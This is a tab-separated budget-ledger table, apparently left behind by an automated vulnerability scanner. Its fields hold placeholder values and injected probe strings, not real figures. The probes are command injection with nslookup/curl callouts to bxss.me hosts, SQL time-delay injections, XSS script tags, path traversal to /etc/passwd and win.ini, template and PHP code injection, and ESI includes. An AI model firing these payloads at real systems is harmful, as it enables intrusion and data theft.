_id	ledger_type	cost_center_type	fund_id	fund_name	department_id	department_name	division_id	division_name	object	object_description	category_code	category_code_description	fiscal_year	july	august	september	october	november	december	january	february	march	april	may	june	total
0	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
0	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
0	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
0	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	$(nslookup -q=cname hitlctpvuooyie5e33.bxss.me||curl hitlctpvuooyie5e33.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'""()&%<zzz><ScRiPt >YcIQ(9712)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102hz3BHhbR	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102jtVEuGIU')) OR 691=(SELECT 691 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""||sleep(27*1000)*lscdfs||"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||sleep(27*1000)*ibjjuq||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""&&sleep(27*1000)*chhoqc&&"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'&&sleep(27*1000)*eeieez&&'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*ovbpvx&&"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||sleep(27*1000)*squurp||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""&&sleep(27*1000)*yjcttg&&"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'&&sleep(27*1000)*bpntuh&&'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""||sleep(27*1000)*lvigby||"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||sleep(27*1000)*oxdzyq||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""&&sleep(27*1000)*ghvdug&&"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'&&sleep(27*1000)*upnufm&&'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitqrrucddcpe51d47.bxss.me||curl${IFS}hitqrrucddcpe51d47.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitiqvdcbaibpe5281.bxss.me||curl hitiqvdcbaibpe5281.bxss.me)`	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*if(now()=sysdate(),sleep(15),0)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""||sleep(27*1000)*ndpasz||"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||sleep(27*1000)*ziqvno||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""&&sleep(27*1000)*xbobfs&&"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'&&sleep(27*1000)*zeitsy&&'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||sleep(27*1000)*qhfhyi||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.gethostbyname(lc('hitxy'.'gdqpahbcccb1f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(71).chr(98).chr(71).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	/etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	Http://bxss.me/t/fit.txt	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(102).concat(88).concat(112).concat(72)+(require'socket'
Socket.gethostbyname('hitom'+'revwpnoh77b12.bxss.me.')[3].to_s)+'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	19153006	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${9999300+9999906}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitjljvuvjpkhb59ab.bxss.me||curl${IFS}hitjljvuvjpkhb59ab.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >YcIQ(9106)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitcelaukpfna158a3.bxss.me||curl hitcelaukpfna158a3.bxss.me)&'\""`0&(nslookup -q=cname hitcelaukpfna158a3.bxss.me||curl hitcelaukpfna158a3.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb[[${98991*97996}]]xca	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	DyyXOzRp: 2CXicFaf	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+response.write(9637153*9931882)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >YcIQ(9239)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	19122922	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU&n900801=v950256	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()&%<zzz><ScRiPt >YcIQ(9237)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'""()&%<zzz><ScRiPt >YcIQ(9714)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	19646636	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${10000212+9999030}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${10000231+9999368}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	19594494	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	19874005
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >YcIQ(9572)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'""()&%<zzz><ScRiPt >YcIQ(9083)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"1}}""}}'}}1%>""%>'%><%={{={@{#{${dfb}}%>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<%={{={@{#{${dfb}}%>	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941029798362	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102<esi:include src=""http://bxss.me/rpb.png""/>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'""()&%<zzz><ScRiPt >YcIQ(9812)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	GUPpTTvl: opNswCnd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	2ETH7yQG: XF8noxmH	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<!--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitgrmnfmjwalc401d.bxss.me||curl hitgrmnfmjwalc401d.bxss.me)|(nslookup -q=cname hitgrmnfmjwalc401d.bxss.me||curl hitgrmnfmjwalc401d.bxss.me)&(nslookup -q=cname hitgrmnfmjwalc401d.bxss.me||curl hitgrmnfmjwalc401d.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU9344492	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitbqfigmzxyy0d3b6.bxss.me||curl hitbqfigmzxyy0d3b6.bxss.me)`	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >YcIQ(9579)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitughynnxzor95101.bxss.me||curl hitughynnxzor95101.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	19360758	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitarujeaucdea0f73.bxss.me&'\""`0&nslookup -q=cname hitarujeaucdea0f73.bxss.me&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitciqfxitztxc94c6.bxss.me||curl hitciqfxitztxc94c6.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"|echo druszr$()\ ddgvyf\nz^xyu||a #' |echo druszr$()\ ddgvyf\nz^xyu||a #|"" |echo druszr$()\ ddgvyf\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	19743513	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"echo pokexh$()\ xxmoxg\nz^xyu||a #' &echo pokexh$()\ xxmoxg\nz^xyu||a #|"" &echo pokexh$()\ xxmoxg\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'<QQgJs>	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""dfbzzzzzzzzbbbccccdddeeexca"".replace(""z"",""o"")"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb__${98991*97996}__::.x	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
